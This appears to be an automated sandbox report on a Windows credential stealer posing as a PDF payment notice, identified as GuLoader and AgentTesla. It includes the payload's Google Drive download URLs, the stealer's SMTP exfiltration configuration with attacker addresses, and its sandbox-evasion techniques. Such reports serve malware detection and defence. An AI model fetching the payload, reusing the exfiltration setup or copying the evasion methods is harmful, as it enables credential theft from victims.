Edit tour

Windows Analysis Report
pago del 20.01.2022.PDF______________________________________.exe

Overview

General Information

Sample Name:	pago del 20.01.2022.PDF______________________________________.exe
Analysis ID:	558577
MD5:	4a3d98a8485779447c637caf1ccad892
SHA1:	972e617044f41500d54c0a9bc9304094fac5f1b4
SHA256:	ab9d325dda36e6f2f7f74aa65c067a67d24b6247271b27d997520593b7105d7d
Infos:

Detection

AgentTesla GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Yara detected GuLoader

Hides threads from debuggers

Initial sample is a PE file and has a suspicious name

Writes to foreign memory regions

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Self deletion via cmd delete

C2 URLs / IPs found in malware configuration

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Uses a known web browser user agent for HTTP communication

PE / OLE file has an invalid certificate

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

pago del 20.01.2022.PDF______________________________________.exe (PID: 6452 cmdline: "C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe" MD5: 4A3D98A8485779447C637CAF1CCAD892)

CasPol.exe (PID: 2132 cmdline: "C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe" MD5: F866FC1C2E928779C7119353C3091F0C)

conhost.exe (PID: 2976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=downl"}

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "droidyandex@centraldefiltros.clicui4cu2@@mail.centraldefiltros.cldroidyandexreports@centraldefiltros.cl"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth	0x3f8c:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
00000000.00000000.274792398.000000000040B000.00000020.00020000.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth	0x3f8c:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000000.325076127.0000000000D00000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: CasPol.exe PID: 2132	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 2132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 2 entries

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000D.00000000.325076127.0000000000D00000.00000040.00000001.sdmp	Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=downl"}
Source: conhost.exe.2976.15.memstrmin	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "droidyandex@centraldefiltros.clicui4cu2@@mail.centraldefiltros.cldroidyandexreports@centraldefiltros.cl"}

Multi AV Scanner detection for submitted file

Source: pago del 20.01.2022.PDF______________________________________.exe	Virustotal: Detection: 53%	Perma Link
Source: pago del 20.01.2022.PDF______________________________________.exe	Metadefender: Detection: 23%	Perma Link
Source: pago del 20.01.2022.PDF______________________________________.exe	ReversingLabs: Detection: 57%

Source: pago del 20.01.2022.PDF______________________________________.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: unknown	HTTPS traffic detected: 216.58.205.78:443 -> 192.168.2.3:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.198.33:443 -> 192.168.2.3:49786 version: TLS 1.2

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://drive.google.com/uc?export=downl

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1BKTAGEWv-q5Ke_0MnBa_Ml90CTgLrdi9 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/terpfju9qddp0r9mjehva49e9rt3lobm/1643010900000/08383092466185559033/*/1BKTAGEWv-q5Ke_0MnBa_Ml90CTgLrdi9?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-00-6k-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443

Source: CasPol.exe, 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: CasPol.exe, 0000000D.00000003.364907661.000000000102F000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.544453919.0000000001029000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: CasPol.exe, 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	String found in binary or memory: http://mglNPC.com
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: CasPol.exe, 0000000D.00000003.364907661.000000000102F000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.544372729.0000000001004000.00000004.00000020.sdmp	String found in binary or memory: https://doc-00-6k-docs.googleusercontent.com/
Source: CasPol.exe, 0000000D.00000002.544453919.0000000001029000.00000004.00000020.sdmp	String found in binary or memory: https://doc-00-6k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/terpfju9
Source: CasPol.exe, 0000000D.00000002.544265522.0000000000FD3000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 0000000D.00000002.544265522.0000000000FD3000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1BKTAGEWv-q5Ke_0MnBa_Ml90CTgLrdi9
Source: pago del 20.01.2022.PDF______________________________________.exe	String found in binary or memory: https://www.digicert.com/CPS0
Source: CasPol.exe, 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1BKTAGEWv-q5Ke_0MnBa_Ml90CTgLrdi9 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/terpfju9qddp0r9mjehva49e9rt3lobm/1643010900000/08383092466185559033/*/1BKTAGEWv-q5Ke_0MnBa_Ml90CTgLrdi9?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-00-6k-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 216.58.205.78:443 -> 192.168.2.3:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.198.33:443 -> 192.168.2.3:49786 version: TLS 1.2

Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371207766.000000000079A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 00000000.00000000.274792398.000000000040B000.00000020.00020000.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: pago del 20.01.2022.PDF______________________________________.exe

Source: pago del 20.01.2022.PDF______________________________________.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000000.00000000.274792398.000000000040B000.00000020.00020000.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_00411CB2	0_2_00411CB2
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_00411002	0_2_00411002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00D0E5B1	13_2_00D0E5B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_1DB446A0	13_2_1DB446A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_1DB44690	13_2_1DB44690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_1DB44672	13_2_1DB44672

Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameDYPPEDES.exe vs pago del 20.01.2022.PDF______________________________________.exe
Source: pago del 20.01.2022.PDF______________________________________.exe	Binary or memory string: OriginalFilenameDYPPEDES.exe vs pago del 20.01.2022.PDF______________________________________.exe

Source: pago del 20.01.2022.PDF______________________________________.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: pago del 20.01.2022.PDF______________________________________.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: pago del 20.01.2022.PDF______________________________________.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: pago del 20.01.2022.PDF______________________________________.exe

Static PE information: invalid certificate

Source: pago del 20.01.2022.PDF______________________________________.exe	Virustotal: Detection: 53%
Source: pago del 20.01.2022.PDF______________________________________.exe	Metadefender: Detection: 23%
Source: pago del 20.01.2022.PDF______________________________________.exe	ReversingLabs: Detection: 57%

Source: pago del 20.01.2022.PDF______________________________________.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe "C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe"
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe"	Jump to behavior

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe

File created: C:\Users\user\AppData\Local\Temp\~DF3D483537E6EF527B.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@4/1@2/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2976:120:WilError_01

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 0000000D.00000000.325076127.0000000000D00000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_00412C60 push ds; retf	0_2_00412C6E
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_00412D6F push es; iretd	0_2_00412D77
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_004141C2 push esi; retf	0_2_004141C5
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_00412988 push eax; iretd	0_2_00412989
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_00412727 push ebx; retf	0_2_00412771
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_004027E4 push esi; ret	0_2_004027E5
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_004123E9 push esp; iretd	0_2_004123EA
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_02340E47 push ds; retf	0_2_02340E73
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_02343289 push esi; ret	0_2_0234328C
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_02342AEB push ebp; retf	0_2_02342AFC
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_023413D5 push edi; retf	0_2_023413D6
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_0234193E push eax; retf	0_2_0234193F
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_0234192E push esp; retf	0_2_02341933
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Code function: 0_2_02342916 push ebx; retf	0_2_02342929

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd delete

Source: unknown	Process created: "C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe"
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Process created: "C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe"
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Process created: "C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe"	Jump to behavior

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371207766.000000000079A000.00000004.00000020.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEY
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371574091.0000000003140000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371574091.0000000003140000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXE\SYSWOW64\MSHTML.TLB

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4560

Thread sleep time: -24903104499507879s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 4120			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 5704			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

